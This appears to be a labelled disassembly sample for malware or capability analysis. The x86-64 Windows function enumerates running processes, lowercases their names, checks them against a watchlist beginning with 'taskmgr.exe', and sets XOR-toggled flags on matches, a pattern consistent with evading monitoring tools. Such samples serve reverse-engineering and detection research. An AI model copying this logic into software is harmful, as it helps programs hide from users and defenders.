Function at 0x140003070
Capabilities:
Encode data using xor
Enumerate processes

Disassembly:
push rbp
push r14
sub rsp, 0x468
lea rdx, [0x14001f3f8]
mov r8d, 4
xor r14d, r14d
nop dword [rax + rax]
mov ecx, dword [rdx - 0x110]
mov eax, ecx
mov dword [rdx - 0x10c], r14d
lea rdx, [rdx + 0x880]
xor eax, 1
test cl, 1
cmovne ecx, eax
or ecx, 2
mov dword [rdx - 0x990], ecx
mov ecx, dword [rdx - 0x880]
mov eax, ecx
xor eax, 1
test cl, 1
cmovne ecx, eax
or ecx, 2
mov dword [rdx - 0x880], ecx
mov ecx, dword [rdx - 0x770]
mov eax, ecx
xor eax, 1
mov dword [rdx - 0x87c], r14d
test cl, 1
cmovne ecx, eax
or ecx, 2
mov dword [rdx - 0x770], ecx
mov ecx, dword [rdx - 0x660]
mov eax, ecx
xor eax, 1
mov dword [rdx - 0x76c], r14d
test cl, 1
cmovne ecx, eax
or ecx, 2
mov dword [rdx - 0x660], ecx
mov ecx, dword [rdx - 0x550]
mov eax, ecx
xor eax, 1
mov dword [rdx - 0x65c], r14d
test cl, 1
cmovne ecx, eax
or ecx, 2
mov dword [rdx - 0x550], ecx
mov ecx, dword [rdx - 0x440]
mov eax, ecx
xor eax, 1
mov dword [rdx - 0x54c], r14d
test cl, 1
cmovne ecx, eax
or ecx, 2
mov dword [rdx - 0x440], ecx
mov ecx, dword [rdx - 0x330]
mov eax, ecx
xor eax, 1
mov dword [rdx - 0x43c], r14d
test cl, 1
cmovne ecx, eax
or ecx, 2
mov dword [rdx - 0x330], ecx
mov ecx, dword [rdx - 0x220]
mov eax, ecx
xor eax, 1
mov dword [rdx - 0x32c], r14d
test cl, 1
cmovne ecx, eax
or ecx, 2
mov dword [rdx - 0x220], ecx
mov dword [rdx - 0x21c], r14d
sub r8, 1
jne 0x140003090
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x1400031e6
lea rdx, [rsp + 0x220]
mov dword [rsp + 0x220], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1400031f3
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x468
pop r14
pop rbp
ret
mov qword [rsp + 0x480], rbx
mov qword [rsp + 0x488], rsi
mov qword [rsp + 0x490], rdi
mov qword [rsp + 0x498], r12
lea r12, str.taskmgr.exe
mov qword [rsp + 0x460], r15
lea r15, [0x14001f2e8]
nop dword [rax]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x1fe
call fcn.140007ee0
mov rcx, r14
nop word [rax + rax]
movzx eax, word [rsp + rcx + 0x24c]
mov word [rsp + rcx + 0x20], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140003250
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_CharLowerW]
mov rdi, r15
mov rbx, r12
mov esi, 0x20
nop dword [rax]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rbx + r8*2], r14w
jne 0x140003290
test r8, r8
je 0x1400032e4
lea rcx, [rsp + 0x20]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x1400032b0
test rax, rax
je 0x1400032e4
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140008ad8
test eax, eax
jne 0x1400032e4
mov eax, dword [rdi]
xor eax, 2
or eax, 1
mov dword [rdi], eax
mov eax, dword [rsp + 0x228]
mov dword [rdi + 4], eax
add rbx, 0x110
add rdi, 0x110
sub rsi, 1
jne 0x140003280
lea rdx, [rsp + 0x220]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003230
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x460]
lea eax, [rsi + 1]
mov rsi, qword [rsp + 0x488]
mov r12, qword [rsp + 0x498]
mov rdi, qword [rsp + 0x490]
mov rbx, qword [rsp + 0x480]
add rsp, 0x468
pop r14
pop rbp
ret